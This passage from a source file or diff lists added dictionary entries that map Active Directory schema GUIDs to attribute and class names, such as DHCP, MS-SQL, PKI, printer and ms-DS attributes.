'ms-RADIUS-SavedFramedIpv6Prefix', + 'f0f8ffa6-1191-11d0-a060-00aa006c33ed': 'Phone-Pager-Primary', + 'bf967a73-0de6-11d0-a285-00aa003049e2': 'USN-Last-Obj-Rem', + '60686ace-6c27-43de-a4e5-f00c2f8d3309': 'ms-DS-IsManaged', + 'ca7b9735-4b2a-4e49-89c3-99025334dc94': 'ms-TAPI-Rt-Conference', + 'aa02fd41-17e0-4f18-8687-b2239649736b': 'ms-Kds-Prov-RootKey', + '963d274f-48be-11d1-a9c3-0000f80367c1': 'dhcp-Options', + '67f121dc-7d02-4c7d-82f5-9ad4c950ac34': 'ms-COM-PartitionSetLink', + '5a5aa804-3083-4863-94e5-018a79a22ec0': 'ms-RADIUS-FramedIpv6Route', + '9c979768-ba1a-4c08-9632-c6a5c1ed649a': 'photo', + '167758ad-47f3-11d1-a9c3-0000f80367c1': 'USN-Source', + '5315ba8e-958f-4b52-bd38-1349a304dd63': 'ms-DS-Cloud-IsManaged', + '963d2753-48be-11d1-a9c3-0000f80367c1': 'dhcp-Properties', + '9e6f3a4d-242c-4f37-b068-36b57f9fc852': 'ms-COM-UserLink', + '9666bb5c-df9d-4d41-b437-2eec7e27c9b3': 'ms-RADIUS-SavedFramedIpv6Route', + 'bf9679f7-0de6-11d0-a285-00aa003049e2': 'Physical-Delivery-Office-Name', + '4d2fa380-7f54-11d2-992a-0000f87a57d4': 'Valid-Accesses', + '78565e80-03d4-4fe3-afac-8c3bca2f3653': 'ms-DS-Cloud-Anchor', + '53ea1cb5-b704-4df9-818f-5cb4ec86cac1': 'ms-TAPI-Rt-Person', + '7b8b558a-93a5-4af7-adca-c017e67f1057': 'ms-DS-Group-Managed-Service-Account', + '963d2748-48be-11d1-a9c3-0000f80367c1': 'dhcp-Ranges', + '8e940c8a-e477-4367-b08d-ff2ff942dcd7': 'ms-COM-UserPartitionSetLink', + '3532dfd8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Name', + 'b7b13119-b82e-11d0-afee-0000f80367c1': 'Physical-Location-Object', + '281416df-1968-11d0-a28f-00aa003049e2': 'Vendor', + 'a1e8b54f-4bd6-4fd2-98e2-bcee92a55497': 'ms-DS-Cloud-Issuer-Public-Certificates', + '963d274a-48be-11d1-a9c3-0000f80367c1': 'dhcp-Reservations', + 'e85e1204-3434-41ad-9b56-e2901228fff0': 'MS-DRM-Identity-Certificate', + '48fd44ea-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-RegisteredOwner', + '8d3bca50-1d7e-11d0-a081-00aa006c33ed': 'Picture', + 'bf967a76-0de6-11d0-a285-00aa003049e2': 'Version-Number', + '89848328-7c4e-4f6f-a013-28ce3ad282dc': 'ms-DS-Cloud-IsEnabled', + '50ca5d7d-5c8b-4ef3-b9df-5b66d491e526': 'ms-WMI-IntRangeParam', + 'e3c27fdf-b01d-4f4e-87e7-056eef0eb922': 'ms-DS-Value-Type', + '963d2745-48be-11d1-a9c3-0000f80367c1': 'dhcp-Servers', + '80863791-dbe9-4eb8-837e-7f0ab55d9ac7': 'ms-DS-Additional-Dns-Host-Name', + '4f6cbdd8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Contact', + 'fc5a9106-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Critical-Extensions', + '7d6c0e9a-7e20-11d0-afd6-00c04fd930c9': 'Version-Number-Hi', + 'b7acc3d2-2a74-4fa4-ac25-e63fe8b61218': 'ms-DS-SyncServerUrl', + '963d2749-48be-11d1-a9c3-0000f80367c1': 'dhcp-Sites', + '975571df-a4d5-429a-9f59-cdc6581d91e6': 'ms-DS-Additional-Sam-Account-Name', + '561c9644-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Location', + '1ef6336e-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Default-CSPs', + '7d6c0e9b-7e20-11d0-afd6-00c04fd930c9': 'Version-Number-Lo', + 'de0caa7f-724e-4286-b179-192671efc664': 'ms-DS-User-Allowed-To-Authenticate-To', + '292f0d9a-cf76-42b0-841f-b650f331df62': 'ms-WMI-IntSetParam', + '2eeb62b3-1373-fe45-8101-387f1676edc7': 'ms-DS-Claims-Transformation-Policy-Type', + '963d2752-48be-11d1-a9c3-0000f80367c1': 'dhcp-State', + 'd3aa4a5c-4e03-4810-97aa-2b339e7a434b': 'MS-DS-All-Users-Trust-Quota', + '5b5d448c-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Memory', + '426cae6e-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Default-Key-Spec', + '1f0075fd-7e40-11d0-afd6-00c04fd930c9': 'Vol-Table-GUID', + '2c4c9600-b0e1-447d-8dda-74902257bdb5': 'ms-DS-User-Allowed-To-Authenticate-From', + '963d2746-48be-11d1-a9c3-0000f80367c1': 'dhcp-Subnets', + '8469441b-9ac4-4e45-8205-bd219dbf672d': 'ms-DS-Allowed-DNS-Suffixes', + '603e94c4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Build', + '926be278-56f9-11d2-90d0-00c04fd91ab1': 'PKI-Enrollment-Access', + '1f0075fb-7e40-11d0-afd6-00c04fd930c9': 'Vol-Table-Idx-GUID', + '8521c983-f599-420f-b9ab-b1222bdf95c1': 'ms-DS-User-TGT-Lifetime', + '07502414-fdca-4851-b04a-13645b11d226': 'ms-WMI-MergeablePolicyTemplate', + 'c8fca9b1-7d88-bb4f-827a-448927710762': 'ms-DS-Claims-Transformation-Policies', + '963d273b-48be-11d1-a9c3-0000f80367c1': 'dhcp-Type', + '800d94d7-b7a1-42a1-b14d-7cae1423d07f': 'ms-DS-Allowed-To-Delegate-To', + '64933a3e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-ServiceAccount', + '041570d2-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Expiration-Period', + '34aaa217-b699-11d0-afee-0000f80367c1': 'Volume-Count', + '105babe9-077e-4793-b974-ef0410b62573': 'ms-DS-Computer-Allowed-To-Authenticate-To', + '963d273a-48be-11d1-a9c3-0000f80367c1': 'dhcp-Unique-Key', + 'c4af1073-ee50-4be0-b8c0-89a41fe99abe': 'ms-DS-Auxiliary-Classes', + '696177a6-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-CharacterSet', + '18976af6-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Extended-Key-Usage', + '244b2970-5abd-11d0-afd2-00c04fd930c9': 'Wbem-Path', + '2e937524-dfb9-4cac-a436-a5b7da64fd66': 'ms-DS-Computer-TGT-Lifetime', + '55dd81c9-c312-41f9-a84d-c6adbdf1e8e1': 'ms-WMI-ObjectEncoding', + '641e87a4-8326-4771-ba2d-c706df35e35a': 'ms-DS-Cloud-Extensions', + '963d2755-48be-11d1-a9c3-0000f80367c1': 'dhcp-Update-Time', + 'e185d243-f6ce-4adb-b496-b0c005d7823c': 'ms-DS-Approx-Immed-Subordinates', + '6ddc42c0-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-SortOrder', + 'e9b0a87e-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Key-Usage', + '05308983-7688-11d1-aded-00c04fd8d5cd': 'Well-Known-Objects', + 'f2973131-9b4d-4820-b4de-0474ef3b849f': 'ms-DS-Service-Allowed-To-Authenticate-To', + 'bf967953-0de6-11d0-a285-00aa003049e2': 'Display-Name', + '3e1ee99c-6604-4489-89d9-84798a89515a': 'ms-DS-AuthenticatedAt-DC', + '72dc918a-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-UnicodeSortOrder', + 'f0bfdefa-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Max-Issuing-Depth', + 'bf967a77-0de6-11d0-a285-00aa003049e2': 'When-Changed', + '97da709a-3716-4966-b1d1-838ba53c3d89': 'ms-DS-Service-Allowed-To-Authenticate-From', + 'e2bc80f1-244a-4d59-acc6-ca5c4f82e6e1': 'ms-WMI-PolicyTemplate', + '310b55ce-3dcd-4392-a96d-c9e35397c24f': 'ms-DS-Device-Registration-Service-Container', + 'bf967954-0de6-11d0-a285-00aa003049e2': 'Display-Name-Printable', + 'e8b2c971-a6df-47bc-8d6f-62770d527aa5': 'ms-DS-AuthenticatedTo-Accountlist', + '7778bd90-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Clustered', + '1219a3ec-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Overlap-Period', + 'bf967a78-0de6-11d0-a285-00aa003049e2': 'When-Created', + '5dfe3c20-ca29-407d-9bab-8421e55eb75c': 'ms-DS-Service-TGT-Lifetime', + '9a7ad946-ca53-11d1-bbd0-0080c76670c0': 'DIT-Content-Rules', + '503fc3e8-1cc6-461a-99a3-9eee04f402a7': 'ms-DS-Az-Application-Data', + '7b91c840-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-NamedPipe', + '8447f9f1-1027-11d0-a05f-00aa006c33ed': 'PKT', + 'bf967a79-0de6-11d0-a285-00aa003049e2': 'Winsock-Addresses', + 'b23fc141-0df5-4aea-b33d-6cf493077b3f': 'ms-DS-Assigned-AuthN-Policy-Silo', + '595b2613-4109-4e77-9013-a3bb4ef277c7': 'ms-WMI-PolicyType', + '96bc3a1a-e3d2-49d3-af11-7b0df79d67f5': 'ms-DS-Device-Registration-Service', + 'fe6136a0-2073-11d0-a9c2-00aa006c33ed': 'Division', + 'db5b0728-6208-4876-83b7-95d3e5695275': 'ms-DS-Az-Application-Name', + '8157fa38-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-MultiProtocol', + '8447f9f0-1027-11d0-a05f-00aa006c33ed': 'PKT-Guid', + 'bf967a7a-0de6-11d0-a285-00aa003049e2': 'WWW-Home-Page', + '33140514-f57a-47d2-8ec4-04c4666600c7': 'ms-DS-Assigned-AuthN-Policy-Silo-BL', + 'f0f8ff8b-1191-11d0-a060-00aa006c33ed': 'DMD-Location', + '7184a120-3ac4-47ae-848f-fe0ab20784d4': 'ms-DS-Az-Application-Version', + '86b08004-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-SPX', + '19405b96-3cfa-11d1-a9c0-0000f80367c1': 'Policy-Replication-Flags', + '9a9a0221-4a5b-11d1-a9c3-0000f80367c1': 'WWW-Page-Other', + '164d1e05-48a6-4886-a8e9-77a2006e3c77': 'ms-DS-AuthN-Policy-Silo-Members', + '45fb5a57-5018-4d0f-9056-997c8c9122d9': 'ms-WMI-RangeParam', + '7c9e8c58-901b-4ea8-b6ec-4eb9e9fc0e11': 'ms-DS-Device-Container', + '167757b9-47f3-11d1-a9c3-0000f80367c1': 'DMD-Name', + '33d41ea8-c0c9-4c92-9494-f104878413fd': 'ms-DS-Az-Biz-Rule', + '8ac263a6-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-TCPIP', + '281416c4-1968-11d0-a28f-00aa003049e2': 'Port-Name', + 'bf967a7b-0de6-11d0-a285-00aa003049e2': 'X121-Address', + '11fccbc7-fbe4-4951-b4b7-addf6f9efd44': 'ms-DS-AuthN-Policy-Silo-Members-BL', + '2df90d86-009f-11d2-aa4c-00c04fd7d83a': 'DN-Reference-Update', + '52994b56-0e6c-4e07-aa5c-ef9d7f5a0e25': 'ms-DS-Az-Biz-Rule-Language', + '8fda89f4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-AppleTalk', + 'bf9679fa-0de6-11d0-a285-00aa003049e2': 'Poss-Superiors', + 'd07da11f-8a3d-42b6-b0aa-76c962be719a': 'x500uniqueIdentifier', + 'cd26b9f3-d415-442a-8f78-7c61523ee95b': 'ms-DS-User-AuthN-Policy', + '6afe8fe2-70bc-4cce-b166-a96f7359c514': 'ms-WMI-RealRangeParam', + 'd2b1470a-8f84-491e-a752-b401ee00fe5c': 'ms-DS-AuthN-Policy-Silos', + 'e0fa1e65-9b45-11d0-afdd-00c04fd930c9': 'Dns-Allow-Dynamic', + '013a7277-5c2d-49ef-a7de-b765b36a3f6f': 'ms-DS-Az-Class-ID', + '94c56394-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Vines', + '9a7ad94c-ca53-11d1-bbd0-0080c76670c0': 'Possible-Inferiors', + 'bf967a7f-0de6-11d0-a285-00aa003049e2': 'X509-Cert', + '2f17faa9-5d47-4b1f-977e-aa52fabe65c8': 'ms-DS-User-AuthN-Policy-BL', + 'e0fa1e66-9b45-11d0-afdd-00c04fd930c9': 'Dns-Allow-XFR', + '6448f56a-ca70-4e2e-b0af-d20e4ce653d0': 'ms-DS-Az-Domain-Timeout', + '9a7d4770-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Status', + 'bf9679fb-0de6-11d0-a285-00aa003049e2': 'Post-Office-Box', + '612cb747-c0e8-4f92-9221-fdd5f15b550d': 'UnixUserPassword', + 'afb863c9-bea3-440f-a9f3-6153cc668929': 'ms-DS-Computer-AuthN-Policy', + '3c7e6f83-dd0e-481b-a0c2-74cd96ef2a66': 'ms-WMI-Rule', + '3a9adf5d-7b97-4f7e-abb4-e5b55c1c06b4': 'ms-DS-AuthN-Policies', + '72e39547-7b18-11d1-adef-00c04fd8d5cd': 'DNS-Host-Name', + 'f90abab0-186c-4418-bb85-88447c87222a': 'ms-DS-Az-Generate-Audits', + '9fcc43d4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-LastUpdatedDate', + 'bf9679fc-0de6-11d0-a285-00aa003049e2': 'Postal-Address', + '850fcc8f-9c6b-47e1-b671-7c654be4d5b3': 'UidNumber', + '2bef6232-30a1-457e-8604-7af6dbf131b8': 'ms-DS-Computer-AuthN-Policy-BL', + 'e0fa1e68-9b45-11d0-afdd-00c04fd930c9': 'Dns-Notify-Secondaries', + '665acb5c-bb92-4dbc-8c59-b3638eab09b3': 'ms-DS-Az-Last-Imported-Biz-Rule-Path', + 'a42cd510-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-InformationURL', + 'bf9679fd-0de6-11d0-a285-00aa003049e2': 'Postal-Code', + 'c5b95f0c-ec9e-41c4-849c-b46597ed6696': 'GidNumber', + '2a6a6d95-28ce-49ee-bb24-6d1fc01e3111': 'ms-DS-Service-AuthN-Policy', + 'f1e44bdf-8dd3-4235-9c86-f91f31f5b569': 'ms-WMI-ShadowObject', + 'f9f0461e-697d-4689-9299-37e61d617b0d': 'ms-DS-AuthN-Policy-Silo', + '675a15fe-3b70-11d2-90cc-00c04fd91ab1': 'DNS-Property', + '5e53368b-fc94-45c8-9d7d-daf31ee7112d': 'ms-DS-Az-LDAP-Query', + 'a92d23da-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-ConnectionURL', + 'bf9679fe-0de6-11d0-a285-00aa003049e2': 'Preferred-Delivery-Method', + 'a3e03f1f-1d55-4253-a0af-30c2a784e46e': 'Gecos', + '2c1128ec-5aa2-42a3-b32d-f0979ca9fcd2': 'ms-DS-Service-AuthN-Policy-BL', + 'f60a8f96-57c4-422c-a3ad-9e2fa09ce6f7': 'ms-DS-Device-MDMStatus', + 'e0fa1e69-9b45-11d0-afdd-00c04fd930c9': 'Dns-Record', + 'cfb9adb7-c4b7-4059-9568-1ed9db6b7248': 'ms-DS-Az-Major-Version', + 'ae0c11b8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-PublicationURL', + '856be0d0-18e7-46e1-8f5f-7ee4d9020e0d': 'preferredLanguage', + 'bc2dba12-000f-464d-bf1d-0808465d8843': 'UnixHomeDirectory', + 'b87a0ad8-54f7-49c1-84a0-e64d12853588': 'ms-DS-Assigned-AuthN-Policy', + '6cc8b2b5-12df-44f6-8307-e74f5cdee369': 'ms-WMI-SimplePolicyTemplate', + 'a11703b7-5641-4d9c-863e-5fb3325e74e0': 'ms-DS-GeoCoordinates-Altitude', + 'bf967959-0de6-11d0-a285-00aa003049e2': 'Dns-Root', + 'ee85ed93-b209-4788-8165-e702f51bfbf3': 'ms-DS-Az-Minor-Version', + 'b222ba0e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-GPSLatitude', + 'bf9679ff-0de6-11d0-a285-00aa003049e2': 'Preferred-OU', + 'a553d12c-3231-4c5e-8adf-8d189697721e': 'LoginShell', + '2d131b3c-d39f-4aee-815e-8db4bc1ce7ac': 'ms-DS-Assigned-AuthN-Policy-BL', + 'dc66d44e-3d43-40f5-85c5-3c12e169927e': 'ms-DS-GeoCoordinates-Latitude', + 'e0fa1e67-9b45-11d0-afdd-00c04fd930c9': 'Dns-Secure-Secondaries', + 'a5f3b553-5d76-4cbe-ba3f-4312152cab18': 'ms-DS-Az-Operation-ID', + 'b7577c94-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-GPSLongitude', + '52458022-ca6a-11d0-afff-0000f80367c1': 'Prefix-Map', + 'f8f2689c-29e8-4843-8177-e8b98e15eeac': 'ShadowLastChange', + '7a560cc2-ec45-44ba-b2d7-21236ad59fd5': 'ms-DS-AuthN-Policy-Enforced', + 'ab857078-0142-4406-945b-34c9b6b13372': 'ms-WMI-Som', + '94c42110-bae4-4cea-8577-af813af5da25': 'ms-DS-GeoCoordinates-Longitude', + 'd5eb2eb7-be4e-463b-a214-634a44d7392e': 'DNS-Tombstoned', + '515a6b06-2617-4173-8099-d5605df043c6': 'ms-DS-Az-Scope-Name', + 'bcdd4f0e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-GPSHeight', + 'a8df744b-c5ea-11d1-bbcb-0080c76670c0': 'Presentation-Address', + 'a76b8737-e5a1-4568-b057-dc12e04be4b2': 'ShadowMin', + 'f2f51102-6be0-493d-8726-1546cdbc8771': 'ms-DS-AuthN-Policy-Silo-Enforced', + 'bd29bf90-66ad-40e1-887b-10df070419a6': 'ms-DS-External-Directory-Object-Id', + 'f18a8e19-af5f-4478-b096-6f35c27eb83f': 'documentAuthor', + '2629f66a-1f95-4bf3-a296-8e9d7b9e30c8': 'ms-DS-Az-Script-Engine-Cache-Max', + 'c07cc1d0-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Version', + '963d2739-48be-11d1-a9c3-0000f80367c1': 'Previous-CA-Certificates', + 'f285c952-50dd-449e-9160-3b880d99988d': 'ShadowMax', + '0bc579a2-1da7-4cea-b699-807f3b9d63a4': 'ms-WMI-StringSetParam', + '0b21ce82-ff63-46d9-90fb-c8b9f24e97b9': 'documentIdentifier', + '87d0fb41-2c8b-41f6-b972-11fdfd50d6b0': 'ms-DS-Az-Script-Timeout', + 'c57f72f4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Language', + '963d273d-48be-11d1-a9c3-0000f80367c1': 'Previous-Parent-CA', + '7ae89c9c-2976-4a46-bb8a-340f88560117': 'ShadowWarning', + '2628a46a-a6ad-4ae0-b854-2b12d9fe6f9e': 'account', + 'bf967aa1-0de6-11d0-a285-00aa003049e2': 'Mail-Recipient', + 'b958b14e-ac6d-4ec4-8892-be70b69f7281': 'documentLocation', + '7b078544-6c82-4fe9-872f-ff48ad2b2e26': 'ms-DS-Az-Task-Is-Role-Definition', + '8386603c-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-Description', + 'bf967a00-0de6-11d0-a285-00aa003049e2': 'Primary-Group-ID', + '86871d1f-3310-4312-8efd-af49dcfb2671': 'ShadowInactive', + 'bf967a83-0de6-11d0-a285-00aa003049e2': 'Class-Schema', + 'd9a799b2-cef3-48b3-b5ad-fb85f8dd3214': 'ms-WMI-UintRangeParam', + '59527d0f-b7c0-4ce2-a1dd-71cef6963292': 'ms-DS-Is-Compliant', + '170f09d7-eb69-448a-9a30-f1afecfd32d7': 'documentPublisher', + '8491e548-6c38-4365-a732-af041569b02c': 'ms-DS-Az-Object-Guid', + 'ca48eba8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Type', + 'c0ed8738-7efd-4481-84d9-66d2db8be369': 'Primary-Group-Token', + '75159a00-1fff-4cf4-8bff-4ef2695cf643': 'ShadowExpire', + 'd1328fbc-8574-4150-881d-0b1088827878': 'ms-DS-Key-Principal-BL', + 'de265a9c-ff2c-47b9-91dc-6e6fe2c43062': 'documentTitle', + 'b5f7e349-7a5b-407c-a334-a31c3f538b98': 'ms-DS-Az-Generic-Data', + 'd0aedb2e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-InformationDirectory', + '281416d7-1968-11d0-a28f-00aa003049e2': 'Print-Attributes', + '8dfeb70d-c5db-46b6-b15e-a4389e6cee9b': 'ShadowFlag', + '7f561288-5301-11d1-a9c5-0000f80367c1': 'ACS-Policy', + '8f4beb31-4e19-46f5-932e-5fa03c339b1d': 'ms-WMI-UintSetParam', + 'c4a46807-6adc-4bbb-97de-6bed181a1bfe': 'ms-DS-Device-Trust-Type', + '94b3a8a9-d613-4cec-9aad-5fbcc1046b43': 'documentVersion', + 'd31a8757-2447-4545-8081-3bb610cacbf2': 'ms-DS-Behavior-Version', + 'd5a0dbdc-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Database', + '281416cd-1968-11d0-a28f-00aa003049e2': 'Print-Bin-Names', + '03dab236-672e-4f61-ab64-f77d2dc2ffab': 'MemberUid', + '1dcc0722-aab0-4fef-956f-276fe19de107': 'ms-DS-Shadow-Principal-Sid', + '7bfdcb7a-4807-11d1-a9c3-0000f80367c1': 'Domain-Certificate-Authorities', + 'f0d8972e-dd5b-40e5-a51d-044c7c17ece7': 'ms-DS-Byte-Array', + 'db77be4a-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-AllowAnonymousSubscription', + '281416d2-1968-11d0-a28f-00aa003049e2': 'Print-Collate', + '0f6a17dc-53e5-4be8-9442-8f3ce2f9012a': 'MemberNisNetgroup', + '2e899b04-2834-11d3-91d4-0000f87a57d4': 'ACS-Resource-Limits', + 'b82ac26b-c6db-4098-92c6-49c18a3336e1': 'ms-WMI-UnknownRangeParam', + '19195a55-6da0-11d0-afd3-00c04fd930c9': 'Domain-Component', + '69cab008-cdd4-4bc9-bab8-0ff37efe1b20': 'ms-DS-Cached-Membership', + 'e0c6baae-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Alias', + '281416d3-1968-11d0-a28f-00aa003049e2': 'Print-Color', + 'a8032e74-30ef-4ff5-affc-0fc217783fec': 'NisNetgroupTriple', + '11f95545-d712-4c50-b847-d2781537c633': 'ms-DS-Shadow-Principal-Container', + 'b000ea7b-a086-11d0-afdd-00c04fd930c9': 'Domain-Cross-Ref', + '3566bf1f-beee-4dcb-8abe-ef89fcfec6c1': 'ms-DS-Cached-Membership-Time-Stamp', + 'e9098084-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Size', + '281416cc-1968-11d0-a28f-00aa003049e2': 'Print-Duplex-Supported', + 'ff2daebf-f463-495a-8405-3e483641eaa2': 'IpServicePort', + '7f561289-5301-11d1-a9c5-0000f80367c1': 'ACS-Subnet', + '05630000-3927-4ede-bf27-ca91f275c26f': 'ms-WMI-WMIGPO', + '963d2734-48be-11d1-a9c3-0000f80367c1': 'Domain-ID', + '23773dc2-b63a-11d2-90e1-00c04fd91ab1': 'MS-DS-Consistency-Guid', + 'ede14754-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-CreationDate', + '281416ca-1968-11d0-a28f-00aa003049e2': 'Print-End-Time', + 'cd96ec0b-1ed6-43b4-b26b-f170b645883f': 'IpServiceProtocol', + '770f4cb3-1643-469c-b766-edd77aa75e14': 'ms-DS-Shadow-Principal', + '7f561278-5301-11d1-a9c5-0000f80367c1': 'Domain-Identifier', + '178b7bc2-b63a-11d2-90e1-00c04fd91ab1': 'MS-DS-Consistency-Child-Count', + 'f2b6abca-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-LastBackupDate', + '281416cb-1968-11d0-a28f-00aa003049e2': 'Print-Form-Name', + 'ebf5c6eb-0e2d-4415-9670-1081993b4211': 'IpProtocolNumber', + '3e74f60f-3e73-11d1-a9c0-0000f80367c1': 'Address-Book-Container', + '9a0dc344-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Configuration', + 'c294f84b-2fad-4b71-be4c-9fc5701f60ba': 'ms-DS-Key-Id', + 'bf96795d-0de6-11d0-a285-00aa003049e2': 'Domain-Policy-Object', + 'c5e60132-1480-11d3-91c1-0000f87a57d4': 'MS-DS-Creator-SID', + 'f6d6dd88-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-LastDiagnosticDate', + 'ba305f6d-47e3-11d0-a1a6-00c04fd930c9': 'Print-Keep-Printed-Jobs', + '966825f5-01d9-4a5c-a011-d15ae84efa55': 'OncRpcNumber', + 'a12e0e9f-dedb-4f31-8f21-1311b958182f': 'ms-DS-Key-Material', + '80a67e2a-9f22-11d0-afdd-00c04fd930c9': 'Domain-Policy-Reference', + '234fcbd8-fb52-4908-a328-fd9f6e58e403': 'ms-DS-Date-Time', + 'fbcda2ea-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Applications', + '281416d6-1968-11d0-a28f-00aa003049e2': 'Print-Language', + 'de8bb721-85dc-4fde-b687-9657688e667e': 'IpHostNumber', + '5fd4250a-1262-11d0-a060-00aa006c33ed': 'Address-Template', + '876d6817-35cc-436c-acea-5ef7174dd9be': 'MSMQ-Custom-Recipient', + 'de71b44c-29ba-4597-9eca-c3348ace1917': 'ms-DS-Key-Usage', + 'bf96795e-0de6-11d0-a285-00aa003049e2': 'Domain-Replica', + '6818f726-674b-441b-8a3a-f40596374cea': 'ms-DS-Default-Quota', + '01e9a98a-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-Keywords', + 'ba305f7a-47e3-11d0-a1a6-00c04fd930c9': 'Print-MAC-Address', + '4e3854f4-3087-42a4-a813-bb0c528958d3': 'IpNetworkNumber', + 'bd61253b-9401-4139-a693-356fc400f3ea': 'ms-DS-Key-Principal', + '80a67e29-9f22-11d0-afdd-00c04fd930c9': 'Domain-Wide-Policy', + 'a9b38cb6-189a-4def-8a70-0fcfa158148e': 'ms-DS-Deleted-Object-Lifetime', + 'c1676858-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-Publisher', + '281416d1-1968-11d0-a28f-00aa003049e2': 'Print-Max-Copies', + '6ff64fcd-462e-4f62-b44a-9a5347659eb9': 'IpNetmaskNumber', + '3fdfee4f-47f4-11d1-a9c3-0000f80367c1': 'Application-Entity', + '9a0dc345-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Enterprise-Settings', + '642c1129-3899-4721-8e21-4839e3988ce5': 'ms-DS-Device-DN', + '1a1aa5b5-262e-4df6-af04-2cf6b0d80048': 'drink', + '2143acca-eead-4d29-b591-85fa49ce9173': 'ms-DS-DnsRootAlias', + 'c3bb7054-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowKnownPullSubscription', + '281416cf-1968-11d0-a28f-00aa003049e2': 'Print-Max-Resolution-Supported', + 'e6a522dd-9770-43e1-89de-1de5044328f7': 'MacAddress', + 'dffbd720-0872-402e-9940-fcd78db049ba': 'ms-DS-Computer-SID', + '281416c5-1968-11d0-a28f-00aa003049e2': 'Driver-Name', + '5706aeaf-b940-4fb2-bcfc-5268683ad9fe': 'ms-DS-Enabled-Feature', + 'c4186b6e-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowImmediateUpdatingSubscription', + 'ba305f6f-47e3-11d0-a1a6-00c04fd930c9': 'Print-Max-X-Extent', + 'd72a0750-8c7c-416e-8714-e65f11e908be': 'BootParameter', + '5fd4250b-1262-11d0-a060-00aa006c33ed': 'Application-Process', + '46b27aac-aafa-4ffb-b773-e5bf621ee87b': 'MSMQ-Group', + 'b6e5e988-e5e4-4c86-a2ae-0dacb970a0e1': 'ms-DS-Custom-Key-Information', + 'ba305f6e-47e3-11d0-a1a6-00c04fd930c9': 'Driver-Version', + 'ce5b01bc-17c6-44b8-9dc1-a9668b00901b': 'ms-DS-Enabled-Feature-BL', + 'c458ca80-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowQueuedUpdatingSubscription', + 'ba305f70-47e3-11d0-a1a6-00c04fd930c9': 'Print-Max-Y-Extent', + 'e3f3cb4e-0f20-42eb-9703-d2ff26e52667': 'BootFile', + '649ac98d-9b9a-4d41-af6b-f616f2a62e4a': 'ms-DS-Key-Approximate-Last-Logon-Time-Stamp', + 'd167aa4b-8b08-11d2-9939-0000f87a57d4': 'DS-Core-Propagation-Data', + 'e1e9bad7-c6dd-4101-a843-794cec85b038': 'ms-DS-Entry-Time-To-Die', + 'c49b8be8-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowSnapshotFilesFTPDownloading', + '3bcbfcf5-4d3d-11d0-a1a6-00c04fd930c9': 'Print-Media-Ready', + '969d3c79-0e9a-4d95-b0ac-bdde7ff8f3a1': 'NisMapName', + 'f780acc1-56f0-11d1-a9c6-0000f80367c1': 'Application-Settings', + '50776997-3c3d-11d2-90cc-00c04fd91ab1': 'MSMQ-Migrated-User', + 'f0f8ff86-1191-11d0-a060-00aa006c33ed': 'DS-Heuristics', + '9d054a5a-d187-46c1-9d85-42dfc44a56dd': 'ms-DS-ExecuteScriptPassword', + 'c4e311fc-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-ThirdParty', + '244b296f-5abd-11d0-afd2-00c04fd930c9': 'Print-Media-Supported', + '4a95216e-fcc0-402e-b57f-5971626148a9': 'NisMapEntry', + 'ee1f5543-7c2e-476a-8b3f-e11f4af6c498': 'ms-DS-Key-Credential', + 'ee8d0ae0-6f91-11d2-9905-0000f87a57d4': 'DS-UI-Admin-Maximum', + 'b92fd528-38ac-40d4-818d-0433380837c1': 'ms-DS-External-Key', + '4cc4601e-7201-4141-abc8-3e529ae88863': 'ms-TAPI-Conference-Blob', + 'ba305f74-47e3-11d0-a1a6-00c04fd930c9': 'Print-Memory', + '27eebfa2-fbeb-4f8e-aad6-c50247994291': 'msSFU-30-Search-Container', + '19195a5c-6da0-11d0-afd3-00c04fd930c9': 'Application-Site-Settings', + 